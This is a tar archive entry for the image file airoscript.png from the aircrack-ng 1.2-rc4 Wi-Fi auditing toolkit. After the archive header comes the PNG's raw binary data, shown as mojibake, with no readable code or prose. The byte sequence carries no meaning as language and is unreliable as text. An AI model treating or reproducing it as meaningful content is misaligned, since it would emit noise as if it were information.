aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/goodies/airoscript.png0000644000000000000000000006172511776654501024325 0ustar rootroot‰PNG  IHDRׯЙbKGDÿÿÿ ½§“ pHYs × ×B(›xtIMEÜ.2^€hó IDATxÚìÝwœdE¹ÿñO‡ééÉaw6çvÉQ’dTDD@DÌõšõêõª×kö§bÀpÍYA0ƒŠ’ ËKؼlœz¦ÃùýQgu]Ø™9ub÷|ß¾ÚÄTw:ÕÕç<ç©* A*è7üÔ×¾»X2U°¤>$‘v˜©Ùãœ,ÅJCÝ}õ« êD""""""’$×>ùÍï-Ï8|¬â8ç9Ž“Jú;±¾£žWm­æTuíkâœe2™•RéízÛ®Ö·ADDDDDD’Âwì_ýîa™ Ÿtàô9]ÓÊì½8ÛÕÑþÌ›l'þàBÜuP¨j»:”Ëe_¿ÉYñÄšrÊI=\‚7ø­¯½]C¸ˆˆˆˆˆˆÄÍ:¸ö‰+¾wH&í|ÚÓçÍì*¸÷’lGkó”ÔrÔªC>dt”W­.­Û¼5“"õ³bjôÝ}Ë[6k(‘¸dm }ì«ÿ·*íÜÝÕÙQ>hŸ%©íÙ$Ýü«ªƒÚ 6ëÏå8ò€eÙ…³gpߣOœ;TpNæi(‘¸X×2éÌ‚\6ËÅg¿ W+ ‘„ÀƒÚ£JÛªºOtUöÇyóæ±tñ¢úï_óû9ê""""""§¬mÁtêëëC½™tß©úPß÷j¬XÒÖ """"""»¬ŸÂ †É3úDÕ€ú´ˆˆˆˆˆˆˆL^VMP›ä’Zï›ê!""""""’ ®…LA.QßÔAˆˆˆˆˆˆHí²®UÛ=­õËëûNE-(""""""±‹s­îi䊯éÕê÷"""""""S@øÓBu£+µ~œ¯Ö³_*{VDDDDDD’À_pMÁO‰«ñÕúµØ/uVEDDDDD$ bÝÐ`ppR©¤›ñ©BA.õÍ]Ôçó4äó:ù""""""RÕb ®í $¼äœs¹ïþû« ™ª0ô¡*«Æ ?¼÷½ï½¼ï}ïõW?ÅkEDDDDD$fVÁµ ྶX,R—ÍÍdt&$FŠÐD­â¤ü7½N›ˆˆˆˆˆˆ$@6î ¤R)Òé”΄ÄÙ Õs*ÿüovåÿù‰ˆˆˆˆˆH¼ìƒkÜÓ&ãæ8Ÿ®pTû0‡µX §˜áþîèidëXV=EªÆí£œÖ5Ì12E'Å?zê¹a[·íhHL8J¡1©>¢FNM,P?³¾ÄkçuÓ•û÷:êÊœÜ9ȱíCüxc+µðº$[:¯[ØÏysÿíÿ¯K9<·³Às; ܺ£Àçžh§PŽ;[/ˆÐš£àœˆˆˆˆˆˆÄ?>•~f}‰ÿX¸ýµ]Õ§^=¯›eM£ê-’hoXôÌÀÚ6ÂÇ–w“K+,%""""""_Á5Çç+δ“æl…7ÌßAc¦2q#¥àœ™}¤•'# µ¨±ÈÙ³'õ·‡´òÞ½zkc¥9}%EDDDDD$fÖÁµj¾§Í¤àÒ¹=tÖ•']ff}‰}›•½&Étö¬!2¢e'Ná¼¹ƒÉ= IEçEDDDDDDâ7%§…ž3³½½Êææ‹ê1’H{5—<—yí‚~Žê(ÄWiÇyöפþ徉ˆˆˆˆˆˆHŒ¦\pí9m#<·cȪl[¶¬#‰4=ç½o¦SðÞ½{™•¡_;øÞÅQ\MDDDDDDÀ>¸æøE}o<«¾Äù³{­Ëo˪ÇH"mÉX•kÍVøð²nêRÕ©ªèÔ‹ˆˆˆˆˆHÌ|d®]‹P6åpÉÜ_A„õ£9õI¤UCö}s¯¦"¯^8 F±ïn¡zñÌ~æÔÛ¯™¶b ÏC ®I2ýlC3½Eû¯ó¹s92Îõ׬G ‘xż[h47ÇKÇ8®}Ⱥ|ÑIñë­mê-’X¥4ß_×j]>¼uqùLT+'Qo#""""""b«æ74¨K9¼|v/©”]ùŠ?ÞÔÁޱŒz‹$Úu[ùóÖFëò³òe^³ ?’º:˜õÒg²¯gßUTDDDDDD$n5\;sF?]¹’uùßnmåÁþ¼zŠ$ž|áÉvîê©·~³gqXûhĵö3‰\6‰W¸ÁµÉÜ/‡xoÒ–ÓAŸ.dùÙ¦vݼKÕé-¦ùØcŒUì:ÿ¼†/3¤†™ËÌ5]sz:¼m˜E cvGç¤øÑ¦F-ƒ"q{l°Žo¯µßààâyLË•“}Š|‹ˆˆˆˆˆHÔäškM™ /™i¿0û¯¶´ñôhz‡Tµ_?ÝÄíÝvë6dÞ¼¸?²º:–/‘¸YׂÊg ëù´éƒ4e*Ve¬çöžFõ © _z²Á’] ýøi#Ð:^åvÙ ?/‘d:ø?`0è¾¾ ¤æÑØ/""µ£æ2צՕ8¡Ón½¨‘JšŸ?­uÖ¤vt3\±ºÍªl xÓ¢>›íðIœFàgÀ߀×{Mîk9ðà>à §æÑØ/""Õ/æàZð7Çgt ¶|ßßni¥¿”Q¯šò×m üÍrzè>ÍEŽŸ6ÒwßñýŽl^¼^IÖܼ|¿½—×é&KD¤êiìÁµ]¦tMîõÌÝDƒ6³¾Äá­v€ÕÃ9îìÕtP©MßXÝf½{è+çXïº+2Å| 8ÒÃߟ‚Ébý""RÅ|f®%+ÙàE]ýVA€ )®Ü¬é R»¶ŒføÉ†«² K¼`ÆQd|‡¯²(÷Z·¬ˆˆhì‘*å#¸–¬PÔÜ|‘ý[ VeïèmdóhV½AjÚÕ›šØ\°›öüòyƒdRÁ}çµÚšÔ ×[–K¯Só‰ˆhì‘êe\KÚÍíó¦Z-¼>TNsíÖõ©yc•ßXc·¹ÁÌú2'w¢©è$£kNEçTådeOQó‰ˆhì‘êoºV@º®\‰›íÖZ»~{ Cåø7M]c^C €-£YžÎ);§ÊÕ¥ök.Дu(;ðØ`=½1o˜ñ÷î<÷÷ÕsHÛ¨ç²çÏà¯[‚í—N2Æ‘ÌóQv®šODDc¿ˆˆT¯À‚kNDežÍ)Ó­ÖZë)fø[O¼›Ü2Âó»˜U_ú·ÿG1ËŸ¶5sWŸ6Y¨º/UÊáE3ú9ª}„|ú_éUV Õóë­ml‰qòwÖ¶ðåƒF=gz.n,qtgÛ-w}Æ—ßñ; (²&‰¢Î,"¢±_c¿ˆÈå+ek×Ý@ãZ4©³®Ì‘ívYk×mk¥äÄ· âÙ3ûyÕ¼žgÖ¦Õ•¸hN/gÍèG5V¦L…ËìàÄΡ ¬¤S°¼y”w.ÚÆÍ…ØêøØ`Ž[w4X•½hÞ@®hu]*‰±>¦²""¢±_ª×gÕ"µÁ>¸öϬ¿K’û»9>®sˆ´Å{l«ãžþ†ØþyÓ9©sp¿;eÚ G´ «§V‰óg÷±¸qlÜ¿©O;\:¯‡E c±ÕóGë[¨X„m—59 5œzkS©r‰©¬ˆˆhì—꓾ ¼WM!RÒÕ\ùº”ÃQ–§?mk¦ÓÝùÍ^0½Òÿ¢Ô§JHº¥£Ü2¹,ÊlÊáÕózhÍ–c©ëÚá,7ï°›r|Ö¬¡Àêá/P¦ï„$Ê7›m6*À·Ô|""ûeʨ®^«¦©>‚kþolý¾Ãám#4f¼ÿžmuZ¸ ž¬µÙõE.™ÛCÊCÒPk¶ípX«÷iiÅtŽ[ÖF¿óf}ÚáÜ™½Ö!½áršµ# ®%Ý#ƒõÖe[³eΚÏôÐßlï²*÷™öß%óøÖOækåŸ;KÀμvŠkø×‚ÎW{,{i¶ãýÀ[Ü éf÷µx+fÑØ/µï̃Çùj ‘Úæ3s-žÉ¡¶ŒX­[¶2¿?C…è78kF¿¯à³¥•árZ½5áVæy°?o]þèöaömŽ~zè OöЛíð\îÈŽQÚê*:ñµç‹2WîòßåqpU¾sµˆˆˆÈ³8³ÆÚt5…Hí«ÊšC[í¦£ÝÑßy]49¶Ý~:èÃõÜÕרžZ%®ÙÒÆ@è¹³úȦ¢ÍÆ*‹Üj‘¥žI9Ûi95T gIÕ¼Øc™-À-»üïÀÊÏNSÓ‹ˆˆH y)fWÐ5…ÈÔ`(Q¦âTöxÏærk-Ù Ëš¼ßÐoiZ̪5"mÜTÊKR–óAw³|oC‡âU¤¯”áû:([ž´iu%Nž6y½»1‡c1œÚås×Ð8wE‘gsÐà±ÌÕükJèN¿ôø—ªéEDD¤F¼“Õ_¯¦™:|e®ù¿×õ^‖‚Õ.…÷×-§RŒvÊÝQmÃV;šŒVR|gC§¦ƒV¡'†ëùíÖ6ëò§M¤½®i×­YÍŠÆ,¾£tæ*>F?#NE¶à½Â¢ÌUÏòÿ]ãñ=ÎZÕü"""RåÞ|Ȩ)D¦–ª‹Üj±‘A)ã®-Ñ® U—rx~×€uùk6·ñt!«Z¥nén²^-—v8cú@¤õuÊ%n[ä}IÁ Óüd¯=3D¿ç)y-dó€“<–Ù}JèNk€{<¼Op¾NˆˆˆT¹Ï¨ D¦&ûàZ {´f+,mðž}¶¦ý`z֝дaOœ6D[Ö.ûèþ¡uÖªÞ•›Ûé/Ù}ÅŽlfV}´;µÿmí…´÷€àIÓGF$6Yü&<Û”Ð]ÿ™¯Ô)‘jä/¸6ámòÄÑ5/7ÓË› ¤-¦„>äÌ‹tJh>ípR§ÝºYCå4×lnSϬ~Îe:…¯ÌG½ëçÆÃ<—[ÞƒWqã!žËÞ>êyʶãìöÂ"8¯Y¡Aý\hQîªIü×àÚà8©¶›ªª°_³÷̘b&ÏÛú"«£É4²ËZ»«¯‘Í£Ú´VÝÚÓDwÑûŽÜ™”à CÑU´RæÎáÏÅÚê*,kòÄöŸÿªØZ Næx,3Ñ”ÐV`¦‡zq©N‰ˆˆˆˆˆTÁµç…î×ì}M§ÍËèßÝ.¡û42Ób¬±JŠë¶µ¨7Ö°’“âºmv™‰Çt “KGFºkMÅTçrÏñ²îš¶M› &3%t׿õâ|@óãEDDDD¤j¸[¨×»êÉGÙZ³fÕ=Ò•é‘N =¦cتܽô—2ê5îÞþ¶yÏNlHW8¨e$²zölx’'ó{y.w¸§M YKˆFà¥å®ôð·¿ôøÞ­ÀKtjDDDDD¤Zøœ‡èDrÛ¼¸qÌj…ëÛ¢ÛÁ°=[æ€fï’“â¯;”µ6T¸~{3Íéõ\öøŽ!îîkŒ¦¢N…{ ÓYî±Ø>MEêÓ£•¨Ö£Wú[^x]ðià6/°Xä¡Ì¥ÀÏtzjÒà0à`1fJòl Èõîk×$êM.êÜ:æÖw±ûêšÜW0 ¹¯n`5ðð$p7ðP®ÁsX<8Ü= y@§Û.y`ÔmŸmÀFà à~àÀ}L-iRÀþÀ±À2`·/µ-n_*ÃÀ ÛVëÇÝ>t°AÃFMŒ+SQpp°°¯{nZÝþßܾ?luÇŠ'G¿¹ß‘jˆ©<×íçË€ù»ôõ"Ð뾞rÇ÷»›Ü¾_‹–¹í±ØXêŽÉ-î½Gp_[ÇÜ×C˜¥gú«µ#$þ¶vaƒ÷ì³¾ú.Ö=ÝõÈí#d,~¦ïëo ¿”F¦†{û8sÆ€çM 4™U_Šl]¾;6¹h¶·2™”Ã>ÍEêÏ…Z7Çù÷ÿ_ÂÚ%ôÙʼÛÃߟæ^€oÒ)ª Ç/Ãsç%´Žç'G0¹©É;m¸7ô‡ïöÏ1Á¤¿`6y¢ŠÏa“åzfƦ þ¾Á}uºاìòÏv~\Oí óÀ‹ÝþtÐ5‰kñzLðv>pônÿü1à÷î8z»†“ªW¦¢6÷¼¼Ð+&Ê Øu]ò,ý€¸Ú7ŠjbIP_?ÇëO˜ ¯×a‚És0æírp%ð-àŽ*o:÷{¾û›?ÑdÖ½N˜ ¼³Ë?+a.ý ø1&à^|Ü©Gwg»(ï=¸ödz.Nikdu<¬uĪoØÑé oHW8¸µÀþ-r)‡’“âázh`¨\»A¾Žº2‡¶Ž°w£ÙÕr¸œæ<+óŒU¢{xYvRÜÒÝÄY3¼ãkáÚ­Ñd9>ºf=ó:é(w{*·¼eÌSpÍO€LÁ5ßfϳ(w•E¯Áµ f-¸Ï&¤­Âîm©*¨£M=_ |¬J¢ÙÀ1£å!¼³{y ðILæÖÏ€oc2ݪâçÓýî¾( Â4à"÷µø‚{c1ä£?'! i_àn`¡-À÷]æ¾ÞÙ$æÀw0?~ǔƕªû“T¿CËÜïuS-¯r_;Ü@Ä—0AçZºpbè?Õ"iãÐÉÀ[31Fü^'¼Æ}ýxÕ—­¼ðvàB÷÷=YL°íà#À-îµÓÏ1·Äö›ÄGS2)‡ù ÞR<ÚÝ÷¬ú³mÖ„®t‡ÐC[GøèÞ[¸`v/4اi”ýš œ?»î½…ÃÛF¨EÏ›>Èïµ…³fô³¼y”}šF9¤u„Kçöð¡¥[XÒ8i}îìm¤ä¤¬Î_t?c*Ïò\l¿æhÛR6_.ı¼ð:%t§;0ӼЮ¡Õk?àFLP5‰µïa2">B8µgsð`ðU̓ڤJ¹7«ÿ"¸ÀÚîæ_Ädõ½ªJoroøW¯'ØÀÚîpûΓn #£qEb¶ ø5f ˆ×l`mwÓ0þ•n â 5¿D$ëþF=Ü€ ò×ü`¦CŸ_%m²“þ¨{½0-¤ÏI'îòY—$ù·/øàš‡ÝB's_ïwufåkqýîš³/Ï\j2®ôñ™W[”QöZõhÄì {9fÝ$ÉV¯$9ÙQYàm˜Åëÿ#!õz.f‘å¸.ZOp/š“îe˜à蛈wÈ¡˜uýþ“Úœ"–äqe*;óâ2|oŽçû>ö2÷»x®N‹ì$·Ÿÿ3õ1*)à0YãIóbL ñÄ›=¶æ!à×1þİ¿ pvþ›Ï¬“ b`‹,¦„®kˆ¬gçKL¯+y.ww_•®ƒÚëÊ\4§—Ô$?*›r8eÚ`MŒˆgL˜ôßÖ§.'³/hkFrló~=r@„vk‡ÒŒX$vì×2†$žMÖÚ&ÌÎ]¶nÅìäÅ…º¡ª À_zs³ðwàL¼\:0ký3M2.ÏÃl003æöhMp_ÏßÄdÌLH2À§0Só4®HØ7ýnÆÛàa›… Â~‘xƒ}RæbÖG½3?.w¯ƒ“ óã7$g™æ׃Ø% „Â:¸Lbâw™g1 î©îÑÈpŸF»`ÇýáÓ)x圚2Þfq-n¬þàH*å}—Ù™õ%ΙÙYïïÏ{.Ó•+E–YXqàñïvû4MúÛï數¡>~Œ.¶(g;%ôŸ]ÊâæofÁXI®é˜ÀéÑ ¬Û+1Ó†žS%my²{‘Çz+Ç¿er»¤NUK0»u¾!¡õ{±Æ Q“½þß$wÍîw`¦–ÏÐéKoÄdf½v1XN[í$™ÎÕG-ðôhÕn±Ë›£ËÌ\Ùï½~óJH¢]bQfv»„îî Ûc™31Y ’\ב·÷5qtÇ0ó-QM™ ÇuqýöpV¯®£PN‘Ïx;_ Ь+äBoCØPȲ¬Ù[Îo,ñØ`]¨õª8˜uÛÄ‹8v ÝÝõÀÞ2AöÖ)L„ËIÖΛ)àG˜àq-zfç²ó öIÄ›ð?´‚YèøOÀÀ£@/Ð Jµ`¦Sî <ŸêȂٸŽ`3ÖžÂ,¶þwàq÷÷Ãî÷©³¶Õ^˜)xÏuÛ*£qEbrªÏKµ‡0;.ÞåöùuîïÁ=×mÀRÌ4Îã1›ºÌøŽÆ¬¿yN§„ 3mú÷õ1 ÇÛ[1Þ30Y¹ ||Îá˜`WØS«æ¹¿ç¿ï{/qf î*`;0èŽ-îïßÞ˜ZOrÇ„ªûM°‹D•v– ÷ÆvF÷ ÈÖb4SS)X`\{t0ÜÀU[¶Ìamv Þ÷—2üzK+µÂqàO·ó¶…Û©·˜"{\Ç07ìhušq…«†ê9¨ÕÛ9[Ø0Æ­=ÑŒ7ë‡-‚kù"“ÙtÎÿ¢àšÀ -Êý2à†Å<ó:ÕóRª­Zp²e? Ó gg¯AÌB¾·+'1Áæ!÷æ°Á½ð›çÞ ê^ >úéǹÀ‡ÿ ð=_ë£ìðuàsÀÆq®‡€Í˜ÀÛO÷c6Ty ðzì2iÖwǽ Ö¡Æ,²üàîqþ®Ï}­vÿîçîÿ?×½){]A+† À·0ã^c½Ä½V9µZ:‡Õ´Ðr@wZãMˤ`F½÷B£Ê\›•+zÎ6xr8Ül£ã:†¬²Ö*|oCý¥Úz@º±PÇÕ›í®Ý[³ek gÎ'G¼\mvµµ¾à=`½Àë¦Ú14 `7µìªêb³ÂÅÄ—Á‘òð¢ êè§¾Ÿ¶¬_É °ü ³Xÿë€`QK1‹õ¶¸¬‡:ž |,Àvt0;žt§ÿ‹™Î|?°0*c‚o[Ü ç+ǹÇòzÌ“ì }$ÀÄÁÀ2˲cž,¿ƒ=ÖÆ³(_„ ÐUH–/ã?»®|³ úÛ?°6îe &¨º3 Ù§q%’q¥ZÆþ$Õo3ðf·Ý?Æøµñ¾77¯Ädp~/À«½Ë1YDQ´yTßµ©")íò0fí³Ù˜ÌïÛØs`mw£Àão™“}CnçÜÆ%·¸ïufÓ$›Œ»wl? “zC5ôµÄN í¨+“ñ¸Y@ÙícÑÜ{-lðžU7XJÓ] ¯Ési‡c,×Z»±»™5#9jÑ]} Ü:ÂþÍÞe'trW_C¨õ[;â=ÞÑYW¦9[a°þž$ëF¼÷Ù9“ ®)@%›]B7ì”ÐþèþÐzYÏaŽûû'ÊØ éáïŸÂgÿÜé^(i¦{áÔ@øs÷âòŸïÓ|Û}|t â¢ï'˜)–›|¾—íÚtw`ŽOp&0yÉØ±ô¥˜À¨»Á ƒ«Eàk˜§ÿ_Â5®„3®ˆ7&ëìü] ¼ø?LÆ™ßÀB‹;&ŸªS&­Àdœý.€;—¹×6™ãKC<Æ€ÿ à}z0Þ~pýît¿»¹¿‰ÝáÜò‚´8ÖÉ&ÿL:§{¶f½g­u³”"Ú)tV½÷àÚšB.ÔXÂ-š2Þ÷•2üy{mo„uÍæ6«¾1/_dnÈ›l,ÔYÕmf.šM Ö[×fÔ‡™ˆ Ô5Ëäc,Ê]RCcÖ3òJÄë­“ü»û1ëŸ-u/Ön éø ˜ì2¿Çì y!þk»»3UôÌ”¿ÚÝ K¿Ž²(Ó‡™~;pÝ„É4ZsÿnÂd·øñgL èŽêø4fŠÛ[Ý‹q+§^àlL<¬¬Ê;0›‹1¥ójwmN Þ&L6ìÁ˜îƒºþ”å{-é83˜LëtßÕC>°¶«Ÿb–àø[R;¿4*¿]lœ›Mp-ª¬5°ÛÉ4ì]Bl±›ÂxݶÆ*á%;ëÊ,me~C‘9õ%rîNœ'ÅÖ±, u<5’cÃH](wòÝÅ ·t7qÊ´A«vÝXo-¿’“bC¡ŽE Þ¦zÎÌ•x2‚Í'žÉàà-Ϻ)S!—v&ѯ_ˆö3˜´WX–»2Ä:]YGÊ‹—`ˆí×)Åyüó‚{£ü]Â~Ÿ‚y‚é×U˜'È!×÷Çn0৘`›ßóp&f][6SB¿É& ÃL6Ým!Þ@Lä¿ù>Ç´—MÐë ÌbÐ?¡ú7>°×6x3þR†{ú¬Ž¥+îõòf‹¾Up  »èý»Õ9ÎwD“:#u4fkk¯~òiÀL¡òJSC“§“IÕ ðùÀrŸïñA¢ ¬íTtûð|¾ÏüeîÙ<1Š"Ce%f€¨½û^W¹ç"Žiš—cÖÒ¸"Qy³îâ–˜>ÿ'˜i¨~ü‡N£<‹+€Ã ?°&@íU[õx=Ðé£üÏÝïc·uŽûÛ¨îÖÑ¨Š³ë-rðk yÍ’(G“¹Ö•+yGURôëß~‹õwöÿpøÈ¶aÞµx;ËšF­ßcz]‰WÍíæ‚Ù½ž3ÍÆs[wSdíëÅ–„×z,¦\wæ^wÍ벓í”Ы"¨ÛÕeŽ#ÜE]Å›2&›0Êõ²ü.º{9fÍ“8½3¥Áø¸Ž³yÚWˆ¨m¾ñ¹èÄnqi0ÁÒó‰~Ï]½…Ú[{,ŽqE&¶XÛs=¾‰ÙàÃÖa˜4Dvz!fúyT¿sOY” zUæ`²ðãÞñûMØ=¬E:©=¼Å&s­ÍáLÏy¯Û¶±l¨a€},Y Õ3\¶ÍNŸ>ÀËçô’ ( vtû0o˜ßM.Ìû­/Ô±mÌû=…Ÿ@ádlµ¨S[¶X;O¤{,ØÌ5Àw’«Âj“R\`Q.ì)¡;ýÖ½9õê•:µ‰ñeàú?ïù˜Å…mýØJ‚7b¦†ØZ¼Ø²ìE™y5ڇ߀ÙÌÀƧc®ÿzà[W$¯V'¤.ïÂlráç†\d§ë"þ¼§-ʽŽÓ¹Ø¯3ÚY ¡˜€sWÆlõt:’¯ÈŠïÝBÇ $8s­Õ"ð·e,¼)¡­Ù Ó,~õç­Çs;†xA×@à“L÷iåUs»IôÆ x?îEEÂÜò¡¯˜aÔã¦)÷ÜG¡»˜€Ìµg€d2›5~Q ÷X.R:½±ëþ7âÏ|•²[0S2+ i¿2f=D?Y —ØëeάÑ~l›Ýû4ñg@îôe+²o`ÖJMŠQüMG;‹¯=.SâúÉ« wF¼ÄGÙ’œ@;îuÔeI¨ˆàšóÌÿ`tÍf͵¾ˆ2×lv2íq'Ó… Þ7æ¨8°r(¸àÚ’Æ1ΙÞ~û6ò¼iÁlØb\kHW˜â4L¬¦ ·d£Ùì(”Ì5ßáyGñµðn¯Œ°Ž6SCãÇEñï3–ˆ¶šÝ"[o#þéL»{x‡ò/Äì ëÕeÞ¿µY’h÷eãS$g:æ“ÀW$¬Ë@âY£r"·?³,ÛŽÙqP$6¿AÚ€çY–] ¶'ͯ¿Ä] Ѩà—Zû§¦L‚3×,²êC¬Ûܼ÷ŒÌu…ƒm‘M9\4»'еўÍÓ¬Žuwk 9«é°sêÃÍ|°Øí¶-¢Ì5«Àß$¾'¾CkŠ®;Ta?eìoýœÜë›–uÔÆñÃÿša^ý.’·Í:‚6~ÜbY6¼Ô¢ÜCe`ÏŸA›¤<¾l½Ì²\?ѯ 7‘?j\‘|»l×(|ÆçoŠHln*ƒÌ"z1ö™pÿ‹É¼O¢Æ]˜Ö\?"—I9ž§VH1V‰f–PKÂv2i±“åSÃÁe–Ó1l5-Õó•v ÎìòŸç8°v¤Î{;‡¼€M‰*smÈ"™K)ò³óÜïZu>öñï&ÌâÖQz¡²Nx{~ÄGÙÓ-ÊÜlùYÇbvôüþwlM‚S,Ëý »uëÂt›Æ AÉ^ÓïA௖eOÐ镘Ä}“ôËrëkÜ®wa¦Æ&í¿_ØÏuœgÏ<©³¨ÕX„+¨Ø¬sfVMÐg}¡.ÏΤN hºædìÛ<Ê"‹i°»[Wð\´ b†ÝGZ"Ê\µˆáÕ» EH)¯²«KjüøZ€stšcG–Ìq–åîuoÚ“T¸Ë²¬Íé€aËÏkÆìØúð0ðYÌô’†*ëÃ9à˲IÌ‚|ˆêW Ùwµæ»À`ÂëøsËrû£‡t25cYî@)áÇë”UûàšóÌÛä –\«³Èx);Ñ­mÝ`1e5ÌL;ê,6X f Ïý›G#[T§£Ú‡}¿‡ÍñÛ´sØ}¤1MÛY|¿r™IŽ#¾vEQ€næ'NãÔÔÐøü=âÏ[à¾lTË4³ï[–›,òXf€`ž>ï¼ø3ЋybüiÌ”“ oïñËî æ'ã{°•è¦ÓÖʸ"ûYÔñ7ØMS˸ã€ÈT2Óâša§««àø~‡Ùð$ì´¬Ep­X‰îÁ&øW¨¤C«K>]ñ|Þ¶´{é-…È;íþÍßW„[-Ž?ì)˜'I_´a3å:7^æZÕVXm\35vÓ<˜«Ó¹"pÄŸy´e¹ ɞ°ûE«íÍQe¾pýs˜ìÂ÷»7»[0»‰] ¼3³-Aí}¨e¹Û1kƒIõ+2¾õØgÔFiö™›‡è4Ëc{=µ±JÆèàÆ¸><¸ÝB½› *g\+‘ìàZ1¤#›iÃå4¥€2ý‚˜¢isÌÓ}NÑì/%o fÉ"€•èàš‡ºùJ^“góŠ)rœé)t¬Iò$Ñ?ÜDzÜ}Àæ*i×-À–e÷²(s/áaÖGü f]¤`ð#à-îmLëÿ²Ô²Ü½jf\‘ñý¥Šêj»[îBf™b–Y–»½ŠŽ1¶,èàv ðNØ*s-Â=+lÖ„+†4mÕfŠê@€»„N«‹gÚµßõÏËiÊ»Y]Ê 5˜e³n`6¢àšMÿ­'sÍÁ¤“8G»…îÁ¡˜uD¦ M Þª>sIµ]`Yú[Äíó˜Ë£’öÆÅ¿Š ~vc¦q¼3â±Ë¶ÍÔP3㊌ïÎ*ª«mлVƒkN½$Z‹,Ëý£ŠŽñޏ>8ÄÖ° ^•"Zs-•2‹ø{ÝÂZÎ&Ø3ÐÕ¦LÅó®®Ai­ó—Eæ80f1 3Ì`–]+šö;sM5Õ2¹öž£Ó©Õ1|¦m–ÑÝUÖ¶÷DÜ>7Æ|ÌmÀ‹€/+€u˜ÀÛ)!_§.¶,·NC@ÍŒ+R;ãçËrÊ\“©Æö·ïñ*:ÆØÖÄ´[èøj«Ìµˆ‚k6Á¬’“ -,Ÿµ¬O\ŸçyxFŸ±ˆÏÕ¥Ã;æRÀÙaA²Ú-4ƒD/\8[ÙkÑÚÃgζ,÷Ô 0Ìòñ™¿>– 6˜™2úW·¯}û,³ñtX–Û ! fÆ g<ŠÃZËrÓušeŠ™oYnMãbÚÕÔ*¸V*ÿkFV9 ‹P”Ñšk6™Zåã™ëStâ[/},€Ï®X¼G6ÄC®XôátDÙÔ6u›T†§’ȃvª D5»³˜ºDcS ŸÙñ W\ÖDÜ>;}³ËgÒÌÞ<†Ùõuq€ïÝhY®OC@ÍŒ+²g˜)ÛÕ¢'âq@¤ZµZ–{ºŠŽ±ŒÙA;r1O }ö»d› M&¢,ª’E¶S.ÄV.Yˆ‚i«ÁR:ÔÀá¸W¶Eÿš´ É8³'b“)8áTR'¨1DvqÉ=îNÌ´2‰Æö>Ó6xÔ_emk[ßæ>û˜5ØJ l—,ðààí³²mŸÑP3ãŠìÙ¶*«ï°e9×dªiŒø;—¡8>4Þàš\À ª]ËN ÇñÚÈ©b ÅÁ¯bûX6–®³u¬Îÿ•zZÁµI¿ÒAלþ»ýËQhí™7ŠçLáã×ÔÐèôÄÔ¿u1|ûìî+Àɘ“¨¸ø#f­6¿ïeué¥! fÆÙ³‘)Rßj™b¦Jp-–úF¿[è$¦uÅ™5™C.‘œàŸM°§)\]ž©¼Óv3ló· W6åPo0 qWZ›>R¬D\³j«JØ‹ìæË쵘,¤¼·<þ µS¢Ç´8}é£kŸÛ€Ï£ =ÞÓ€i>ÞÃöØêÕÝjf\‘Ú¹‘¶ý^Vtªeбý®¤ªì8cYýÛ2¸Vä:nO·È6ÙX™×ORðo¨ì½ß´d‚‹=<ý5æ#ƒyßïÑ’õ¾ŠØH%mµöX˜}$ªÌ5›©Íï0ê/hæ(ƶ;Û]B¯JØq܋ݺSuÀEꑪ¢Ï¬¶)?M 9'#Àû}€ï“Ìl­Ã€±_?fªô)+å x\l3ІuªeŠ›"¿}±Ô7°i¡A&¯Ù rNpµÉ +sm°œ¦âxm+‡¦L0jÊÓSŒ.0ìwôúÿ®tÔy0öÃídvëšEÓî9›Ìµñ¾Ç ŒmpšeÙ«xØþÎ<ÄÛbƒkLmuá¥Ù¬?6»>¸ÍÀîík`}¯‰”œ×È›•ó>ÃeÇX¸Áµ6‹àÚ@)¢àšÅ÷kt2Áµ]eÎx/öWS„Íe»Kè/z¥qElí;êºF§Y¦˜µ–å–WÑ1×sgðn¡Ç{€-• oêå3®&-¦¶†˜¹¶uÌ{ÐgiãX uØP¨ãG›:Ì"ó!ø{o7u3Õ;Ÿv˜[o\ 7;¯Õ"s­¿M ¡=ç½n…rØÑnmðä²ÍZ[Ü•àã²:³“ ÔÖM°mpíØ*kÛc#nŸ 8ÀƒÀåÀy˜)Zó1SH? üè¹çGxøû',?ç 53®Èøª)lû`bN³L1¶Áµjúí;&®ö\ qÝ£¤e‡ù­[sˆuÛ0šó\fZ]‰ÙõÁnþµb ϯ¶¶yÞ`a"öçùÕæàÖu[Þ\°Ú]vCÈS_múoTÓB;-6€èK{D,£óJ]Ka¿CæU ?¶[±Ÿ®¡©¡µg•‹ÁjY;¨ û,ÔÇx<0¨Àl¸ÒÙ€à-îø³#„Ï|­‡¿µ}¸p0]_I™N­¢k¡#-Ë®®áëÃjyI´lûüÑUtŒ'ÅõÁ>îÌ_·ÅÎwÆ96™?6lêÖ• /¸¶v¸Ž²ÅTÚƒ[ Áß w7qźé}~½¥ïmì´š*¼Ç«b‹ãÞ^̆ÈʤÚ-Xåh2×:-2ׯßEÖd^q5NÄ~ „¤×*À¯,Ëž ´©{Ô”;,ËÕa2šªÁ9ØOi¾£ ޝ¬¾¼ ³ëæ1˜]H×ôb2žŒ±Û¡2œ¡¯¤L'SË,<ûÅËïÓi–)ƶÏÏÆl–tK1ËTÄÂ×n¡ß8OðçþÚ&;¬5MæZŸEpmf€ì®è¤ØXð>5ô€æB(õyj8Ç—Övq_ƒudc¡Ž¯¯ŸÆÍÝMÖ-›rXÖèý¸× çBíS]¹2ñÃ’“b°MæZGh™k>(ºf­#kHö”Ðl§†æÝ›w©ëu–e«%“ñU–åÖ¹íSm*˜ àb6ž8¸Éç{¶ÇMög¸Ûòs.ÔWR¦€vª#{íE–å†1Av‘©änì×Ö9» Žï‚8?Üçn¡Só ?Á™k6kœufKÔ…¸£éÊÁ¼ç2sóEæç‹¡ÔgÇX†nìà‹«»xp Oe’Y¿ëGêøñ¦>¿¦‹Ç‡ê¯×-òïçááÁúPûÔL‹ÝK·eC[ãnwÓ,2×&Ü|b¢B'ñšâò˜µl\U%Çx#ö»ijhí¹Í²Ü‰Ø¯Ç•çb¿FÈ­5pnàϘL™·£>ÞËËô°?Y~Ƙ̻¤:³ÎÝi6ħ×&¼~ià•–eïÂÙE¦’`¥eÙW‘Ð 1]YàÍqHÉ<ë6k®E”¹Ö]ÌxÞ3•‚®\xã÷ƒy«r'v†ÚVë u|oC'^5“ï¬ïäÏÛ[xp Ϫ¡zV ÕóÈ`=7w7ñÓMí|ü‰|aM÷ô5„89eš÷ã-9)̇ÚN³,2m‚¼¶™¹ÆÎÉéSÖYØO}¬–àZ ø`Å^º†ª)ðQöà ?¶ø(k h ªP| xòGyø[Û©çYà­ 